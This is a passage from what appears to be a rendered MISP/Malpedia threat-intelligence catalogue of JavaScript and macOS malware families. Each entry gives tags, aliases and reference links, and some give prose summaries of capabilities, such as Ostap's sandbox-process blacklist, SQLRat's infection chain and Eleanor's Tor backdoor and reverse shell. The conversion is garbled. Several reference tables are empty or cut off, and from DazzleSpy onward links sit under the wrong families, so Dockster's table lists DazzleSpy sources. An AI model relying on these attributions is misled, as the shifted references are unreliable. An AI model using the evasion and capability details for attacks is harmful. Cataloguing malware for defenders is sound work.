<td><a href="http://www.secureworks.com/research/threat-profiles/gold-kingswood">http://www.secureworks.com/research/threat-profiles/gold-kingswood</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0284/">https://attack.mitre.org/software/S0284/</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw">https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish">https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish</a></td>
</tr>
</tbody>
</table>
NanHaiShu

NanHaiShu is a remote access tool and JScript backdoor used by Leviathan. NanHaiShu has been used to target government and private-sector organizations that have relations to the South China Sea dispute.

The tag is: `misp-galaxy:malpedia="NanHaiShu"`

NanHaiShu is also known as:

Table 2153. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.nanhaishu">https://malpedia.caad.fkie.fraunhofer.de/details/js.nanhaishu</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0228/">https://attack.mitre.org/software/S0228/</a></td>
</tr>
</tbody>
</table>

NodeRAT

The tag is: `misp-galaxy:malpedia="NodeRAT"`

NodeRAT is also known as:

Table 2154. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.node_rat">https://malpedia.caad.fkie.fraunhofer.de/details/js.node_rat</a></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/ja/2019/02/tick-activity.html">https://blogs.jpcert.or.jp/ja/2019/02/tick-activity.html</a></td>
</tr>
</tbody>
</table>

Ostap

Ostap is a commodity JScript downloader first seen in campaigns in 2016. It has been observed being delivered in ACE archives and VBA macro-enabled Microsoft Office documents. Recent versions of Ostap query WMI to check for a blacklist of running processes:

AgentSimulator.exe  anti-virus.EXE  BehaviorDumper  BennyDB.exe  ctfmon.exe  fakepos_bin
If a blacklisted process is found, the malware terminates.

Ostap has been observed delivering other malware families, including Nymaim, Backswap and TrickBot.

The tag is: `misp-galaxy:malpedia="ostap"`

ostap is also known as:

Table 2155. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.ostap">https://malpedia.caad.fkie.fraunhofer.de/details/js.ostap</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/">https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/</a></td>
</tr>
<tr>
<td><a href="https://www.intrinsec.com/deobfuscating-hunting-ostap/">https://www.intrinsec.com/deobfuscating-hunting-ostap/</a></td>
</tr>
<tr>
<td><a href="https://www.bromium.com/deobfuscating-ostap-trickbots-javascript-downloader/">https://www.bromium.com/deobfuscating-ostap-trickbots-javascript-downloader/</a></td>
</tr>
<tr>
<td><a href="https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/deobfuscate_ostap.py">https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/deobfuscate_ostap.py</a></td>
</tr>
</tbody>
</table>

Parrot TDS

This malicious code written in JavaScript is used as Traffic Direction System (TDS). This TDS shows similarities to the Prometheus TDS. According to DECODED Avast.io this TDS has been active since October 2021.

The tag is: `misp-galaxy:malpedia="Parrot TDS"`

Parrot TDS is also known as:

Table 2156. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.parrot_tds">https://malpedia.caad.fkie.fraunhofer.de/details/js.parrot_tds</a></td>
</tr>
</tbody>
</table>
PeaceNotWar

PeaceNotWar was integrated into the nodejs module node-ipc as a piece of malware/protestware with wiper characteristics. It targets machines with a public IP address located in Russia and Belarus (using geolocation) and overwrites files recursively using a heart emoji.

The tag is: *misp-galaxy:malpedia=“PeaceNotWar”*

PeaceNotWar is also known as:

Table 2157. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.peacenotwar">https://malpedia.caad.fkie.fraunhofer.de/details/js.peacenotwar</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c">https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c</a></td>
</tr>
</tbody>
</table>

PindOS

The tag is: *misp-galaxy:malpedia=“PindOS”*

PindOS is also known as:

Table 2158. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.pindos">https://malpedia.caad.fkie.fraunhofer.de/details/js.pindos</a></td>
</tr>
</tbody>
</table>
| https://www.deepinstinct.com/blog/pindos-new-javascript-dropper-delivering-bumblebee-and-icedid |}

Powmet

The tag is: *misp-galaxy:malpedia=“Powmet”*

Powmet is also known as:

Table 2159. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.powmet">https://malpedia.caad.fkie.fraunhofer.de/details/js.powmet</a></td>
</tr>
</tbody>
</table>
QNodeService

According to Trend Micro, this is a Node.js based malware, that can download/upload/execute files, steal credentials from Chrome/Firefox browsers, and perform file management, among other things. It targets Windows and has components for both 32 and 64bit.

The tag is: *misp-galaxy:malpedia=*"QNodeService"

QNodeService is also known as:

Table 2160. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.qnodeservice">https://malpedia.caad.fkie.fraunhofer.de/details/js.qnodeservice</a></td>
</tr>
</tbody>
</table>

QUICKCAFE

QUICKCAFE is an encrypted JavaScript downloader for QUICKRIDE.POWER that exploits the ActiveX M2Soft vulnerabilities. QUICKCAFE is obfuscated using JavaScript Obfuscator.

The tag is: *misp-galaxy:malpedia=*"QUICKCAFE"

QUICKCAFE is also known as:

Table 2161. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.quickcafe">https://malpedia.caad.fkie.fraunhofer.de/details/js.quickcafe</a></td>
</tr>
</tbody>
</table>

scanbox

The tag is: *misp-galaxy:malpedia=*"scanbox"

scanbox is also known as:

Table 2162. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.scanbox">https://malpedia.caad.fkie.fraunhofer.de/details/js.scanbox</a></td>
</tr>
</tbody>
</table>
SQLRat

SQLRat campaigns typically involve a lure document that includes an image overlayed by a VB Form trigger. Once a user has double-clicked the embedded image, the form executes a VB setup script. The script writes files to the path %appdata%\Roaming\Microsoft\Templates, then creates two task entries triggered to run daily. The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot. The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters. After deobfuscating the file, the main JavaScript is easily recognizable. It contains a number of functions designed to drop files and execute scripts on a host system. The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables.

The tag is: misp-galaxy:malpedia="SQLRat"

SQLRat is also known as:

Table 2163. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.sqlrat">https://malpedia.caad.fkie.fraunhofer.de/details/js.sqlrat</a></td>
</tr>
</tbody>
</table>

Starfighter (Javascript)

According to the author, this is a JavaScript based Empire launcher that runs with its own embedded powershell host to not be dependent on local powershell availability.

The tag is: misp-galaxy:malpedia="Starfighter (Javascript)"

Starfighter (Javascript) is also known as:
Table 2164. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.starfighter">https://malpedia.caad.fkie.fraunhofer.de/details/js.starfighter</a></td>
</tr>
<tr>
<td><a href="https://github.com/Cn33liz/StarFighters">https://github.com/Cn33liz/StarFighters</a></td>
</tr>
</tbody>
</table>

**Swid**

The tag is: `misp-galaxy:malpedia="Swid"`

Swid is also known as:

Table 2165. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.swid">https://malpedia.caad.fkie.fraunhofer.de/details/js.swid</a></td>
</tr>
<tr>
<td><a href="https://imp0rtp3.wordpress.com/2021/08/12/tetris/">https://imp0rtp3.wordpress.com/2021/08/12/tetris/</a></td>
</tr>
</tbody>
</table>

**HTML5 Encoding**

The tag is: `misp-galaxy:malpedia="HTML5 Encoding"`

HTML5 Encoding is also known as:

Table 2166. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_ff_ext">https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_ff_ext</a></td>
</tr>
</tbody>
</table>

**Maintools.js**

Expects a parameter to run: needs to be started as 'maintools.js EzZETcSXYKAdF_e5I2i1'.

The tag is: `misp-galaxy:malpedia="Maintools.js"`

Maintools.js is also known as:

Table 2167. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_maintools">https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_maintools</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JohnLaTwC/status/915590893155098629">https://twitter.com/JohnLaTwC/status/915590893155098629</a></td>
</tr>
</tbody>
</table>
Unidentified JS 001 (APT32 Profiler)

The tag is: misp-galaxy:malpedia="Unidentified JS 001 (APT32 Profiler)"

Unidentified JS 001 (APT32 Profiler) is also known as:

Table 2168. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_001">https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_001</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/projects/53b4bd1e-dad0-306b-7712-d2a608400c8f">https://community.riskiq.com/projects/53b4bd1e-dad0-306b-7712-d2a608400c8f</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/141a5c7ab8b4280901722e2cd931b7f">https://gist.github.com/141a5c7ab8b4280901722e2cd931b7f</a></td>
</tr>
</tbody>
</table>

Unidentified JS 003 (Emotet Downloader)

According to Max Kersten, Emotet is dropped by a procedure spanned over multiple stages. The first stage is an office file that contains a macro. This macro then loads the second stage, which is either a PowerShell script or a piece of JavaScript, which is this family entry.

The tag is: misp-galaxy:malpedia="Unidentified JS 003 (Emotet Downloader)"

Unidentified JS 003 (Emotet Downloader) is also known as:

Table 2169. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_003">https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_003</a></td>
</tr>
<tr>
<td><a href="https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/">https://maxkersten.nl/binary-analysis-course/malware-analysis/emotet-javascript-downloader/</a></td>
</tr>
</tbody>
</table>

Unidentified JS 004

A simple loader written in JavaScript found by Marco Ramilli.

The tag is: misp-galaxy:malpedia="Unidentified JS 004"

Unidentified JS 004 is also known as:

Table 2170. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_004">https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_004</a></td>
</tr>
</tbody>
</table>

Unidentified JS 005 (Stealer)

The tag is: misp-galaxy:malpedia="Unidentified JS 005 (Stealer)"
Unidentified JS 005 (Stealer) is also known as:

Table 2171. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_005">https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_005</a></td>
</tr>
</tbody>
</table>

**Unidentified JS 002**

The tag is: `misp-galaxy:malpedia="Unidentified JS 002"`

Unidentified JS 002 is also known as:

Table 2172. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_js_002">https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_js_002</a></td>
</tr>
</tbody>
</table>

**Valak**

According to PCrisk, Valak is malicious software that downloads JScript files and executes them. What happens next depends on the actions performed by the executed JScript files. It is very likely that cyber criminals behind Valak attempt to use this malware to cause chain infections (i.e., using Valak to distribute other malware).

Research shows that Valak is distributed through spam campaigns, however, in some cases, it infiltrates systems when they are already infected with malicious program such as Ursnif (also known as Gozi).

The tag is: `misp-galaxy:malpedia="Valak"`

Valak is also known as:

- Valek

Table 2173. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.valak">https://malpedia.caad.fkie.fraunhofer.de/details/js.valak</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@prsecurity_/casual-analysis-of-valak-c2-3497f6b79b7f7">https://medium.com/@prsecurity_/casual-analysis-of-valak-c2-3497f6b79b7f7</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/07/valak-emerges.html">https://blog.talosintelligence.com/2020/07/valak-emerges.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malware_traffic/status/1207824548021886977">https://twitter.com/malware_traffic/status/1207824548021886977</a></td>
</tr>
<tr>
<td><a href="https://security-soup.net/analysis-of-valak-maldoc/">https://security-soup.net/analysis-of-valak-maldoc/</a></td>
</tr>
</tbody>
</table>
### witchcoven

The tag is: `misp-galaxy:malpedia="witchcoven"`

witchcoven is also known as:

*Table 2174. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/js.witchcoven">https://malpedia.caad.fkie.fraunhofer.de/details/js.witchcoven</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf</a></td>
</tr>
</tbody>
</table>

### Godzilla Webshell

The tag is: `misp-galaxy:malpedia="Godzilla Webshell"`

Godzilla Webshell is also known as:

*Table 2175. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell">https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/">https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcspong">https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcspong</a></td>
</tr>
</tbody>
</table>

### 3CX Backdoor (OS X)

The tag is: `misp-galaxy:malpedia="3CX Backdoor (OS X)"

3CX Backdoor (OS X) is also known as:

*Table 2176. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
AMOS

The tag is: *misp-galaxy:malpedia*="AMOS"

AMOS is also known as:

- Atomic macOS Stealer

Table 2177. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.amos">https://malpedia.caad.fkie.fraunhofer.de/details/osx.amos</a></td>
</tr>
</tbody>
</table>

AppleJeus (OS X)

According to PcRisk AppleJeus is the name of backdoor malware that was distributed by the Lazarus group. They spread this malicious software through a fake app disguised as a cryptocurrency trading application called Celas Trade Pro.

The tag is: *misp-galaxy:malpedia*="AppleJeus (OS X)"

AppleJeus (OS X) is also known as:

Table 2178. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.applejeus">https://malpedia.caad.fkie.fraunhofer.de/details/osx.applejeus</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-applejeus/87553/">https://securelist.com/operation-applejeus/87553/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x49.html">https://objective-see.com/blog/blog_0x49.html</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-applejeus-sequel/95596/">https://securelist.com/operation-applejeus-sequel/95596/</a></td>
</tr>
</tbody>
</table>
Bella

The tag is: misp-galaxy:malpedia="Bella"

Bella is also known as:

Table 2179. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.bella">https://malpedia.caad.fkie.fraunhofer.de/details/osx.bella</a></td>
</tr>
<tr>
<td><a href="https://threatintel.blog/OPBlueRaven-Part2/">https://threatintel.blog/OPBlueRaven-Part2/</a></td>
</tr>
<tr>
<td><a href="https://github.com/kai5263499/Bella">https://github.com/kai5263499/Bella</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2017/05/another-osx-dok-dropper-found-installing-new-backdoor/">https://blog.malwarebytes.com/threat-analysis/2017/05/another-osx-dok-dropper-found-installing-new-backdoor/</a></td>
</tr>
</tbody>
</table>

Bundlore

The tag is: misp-galaxy:malpedia="Bundlore"

Bundlore is also known as:

- SurfBuyer
Table 2180. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.bundlore">https://malpedia.caad.fkie.fraunhofer.de/details/osx.bundlore</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ConfiantIntel/status/1393215825931288580?s=20">https://twitter.com/ConfiantIntel/status/1393215825931288580?s=20</a></td>
</tr>
<tr>
<td><a href="https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c">https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c</a></td>
</tr>
</tbody>
</table>

Careto

The tag is: misp-galaxy:malpedia="Careto"

Careto is also known as:

- Appetite
- Mask

Table 2181. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.careto">https://malpedia.caad.fkie.fraunhofer.de/details/osx.careto</a></td>
</tr>
<tr>
<td><a href="https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed">https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed</a></td>
</tr>
</tbody>
</table>

Casso

The tag is: misp-galaxy:malpedia="Casso"

Casso is also known as:

Table 2182. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.casso">https://malpedia.caad.fkie.fraunhofer.de/details/osx.casso</a></td>
</tr>
</tbody>
</table>

CDDS

Google TAG has observed this malware being delivered via watering hole attacks using 0-day exploits, targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group.
The tag is: misp-galaxy:malpedia="CDDS"

CDDS is also known as:

- Macma

Table 2183. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.cdds">https://malpedia.caad.fkie.fraunhofer.de/details/osx.cdds</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x69.html">https://objective-see.com/blog/blog_0x69.html</a></td>
</tr>
<tr>
<td><a href="https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/">https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/</a></td>
</tr>
</tbody>
</table>

**Choziosi (OS X)**

A loader delivering malicious Chrome and Safari extensions.

The tag is: misp-galaxy:malpedia="Choziosi (OS X)"

Choziosi (OS X) is also known as:

- ChromeLoader
- Chropex

Table 2184. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.choziosi">https://malpedia.caad.fkie.fraunhofer.de/details/osx.choziosi</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/chromeloader/">https://redcanary.com/blog/chromeloader/</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension">https://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension</a></td>
</tr>
<tr>
<td><a href="https://www.th3protocol.com/2022/Choziosi-Loader">https://www.th3protocol.com/2022/Choziosi-Loader</a></td>
</tr>
</tbody>
</table>

**CloudMensis**

The tag is: misp-galaxy:malpedia="CloudMensis"

CloudMensis is also known as:

Table 2185. Table References
CoinThief

CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component.

It was spreading in early 2014 from several different sources: - on Github (where the trojanized compiled binary didn’t match the displayed source code), o - on popular and trusted download sites like CNET’s Download.com or MacUpdate.com, and - as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.

The patcher’s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim’s Bitcoins to one of the hard-coded addresses belonging to the attacker.

The browser extensions targeted Chrome and Firefox and are disguised as a “Pop-up blocker”. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker’s address or simply harvest login credentials to the targeted online service.

The backdoor enabled the attacker to take full control over the victim’s computer: - collect information about the infected computer - execute arbitrary shell scripts on the target computer - upload an arbitrary file from the victim’s hard drive to a remote server - update itself to a newer version

The tag is: misp-galaxy:malpedia="CoinThief"

CoinThief is also known as:

Table 2186. Table References
Coldroot RAT

The tag is: *misp-galaxy:malpedia="Coldroot RAT"*

Coldroot RAT is also known as:

*Table 2187. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.coldroot_rat">https://malpedia.caad.fkie.fraunhofer.de/details/osx.coldroot_rat</a></td>
</tr>
<tr>
<td><a href="https://objectivebythesea.com/v2/talks/OBTS_v2_Seele.pdf">https://objectivebythesea.com/v2/talks/OBTS_v2_Seele.pdf</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x2A.html">https://objective-see.com/blog/blog_0x2A.html</a></td>
</tr>
</tbody>
</table>

Convuster

The tag is: *misp-galaxy:malpedia="Convuster"*

Convuster is also known as:

*Table 2188. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.convuster">https://malpedia.caad.fkie.fraunhofer.de/details/osx.convuster</a></td>
</tr>
</tbody>
</table>

CpuMeaner

The tag is: *misp-galaxy:malpedia="CpuMeaner"*

CpuMeaner is also known as:

*Table 2189. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.cpumeaner">https://malpedia.caad.fkie.fraunhofer.de/details/osx.cpumeaner</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/">https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/</a></td>
</tr>
</tbody>
</table>

CreativeUpdater

The tag is: *misp-galaxy:malpedia="CreativeUpdater"*

CreativeUpdater is also known as:

*Table 2190. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.creative_updater">https://malpedia.caad.fkie.fraunhofer.de/details/osx.creative_updater</a></td>
</tr>
</tbody>
</table>
### Crisis

The tag is: `misp-galaxy:malpedia="Crisis"`

Crisis is also known as:

**Table 2191. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.crisis">1</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines">3</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html">4</a></td>
</tr>
</tbody>
</table>

### Crossrider

The tag is: `misp-galaxy:malpedia="Crossrider"`

Crossrider is also known as:

**Table 2192. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.crossrider">1</a></td>
</tr>
</tbody>
</table>

### Dacls (OS X)

According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.

Research shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.

The tag is: `misp-galaxy:malpedia="Dacls (OS X)"`

Dacls (OS X) is also known as:
Table 2193. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.dacls">https://malpedia.caad.fkie.fraunhofer.de/details/osx.dacls</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/">https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x5F.html">https://objective-see.com/blog/blog_0x5F.html</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x57.html">https://objective-see.com/blog/blog_0x57.html</a></td>
</tr>
<tr>
<td><a href="https://www.sygnia.co/mata-framework">https://www.sygnia.co/mata-framework</a></td>
</tr>
</tbody>
</table>

DarthMiner

The tag is: `misp-galaxy:malpedia="DarthMiner"`

DarthMiner is also known as:

Table 2194. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.dartminer">https://malpedia.caad.fkie.fraunhofer.de/details/osx.dartminer</a></td>
</tr>
</tbody>
</table>

DazzleSpy

The tag is: `misp-galaxy:malpedia="DazzleSpy"`

DazzleSpy is also known as:

Table 2195. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Dockster

The tag is: misp-galaxy:malpedia="Dockster"

Dockster is also known as:

Table 2196. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/osx.dazzle_spy
- https://objective-see.com/blog/blog_0x6D.html

Dummy

The tag is: misp-galaxy:malpedia="Dummy"

Dummy is also known as:

Table 2197. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/osx.dockster

Eleanor

Eleanor comes as a drag-and-drop file utility called EasyDoc Converter. This application bundle wraps a shell script that uses Dropbox name as a disguise and installs three components: a hidden Tor service, a Pastebin agent and a web service with a PHP-based graphical interface.

The Tor service transforms the victim's computer into a server that provides attackers with full anonymous access to the infected machine via Tor-generated address.

The Pastebin agent uploads the address in encrypted form to the Pastebin website where the attackers can obtain it.

The web service is the main malicious component that provides the attackers with the control over the infected machine. After successful authentication, the interface offers several control panels to the attackers, allowing them to do the following actions:
• Managing files
• Listing processes
• Connecting to various database management systems such as MySQL or SQLite
• Connecting via bind/reverse shell
• Executing shell command
• Capturing and browsing images and videos from the victim’s webcam
• Sending emails with an attachment

The tag is: *misp-galaxy:malpedia="Eleanor"*

Eleanor is also known as:

Table 2198. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/osx.eleanor">https://malpedia.caad.fkie.fraunhofer.de/details/osx.eleanor</a></td>
</tr>
</tbody>
</table>

**ElectroRAT**

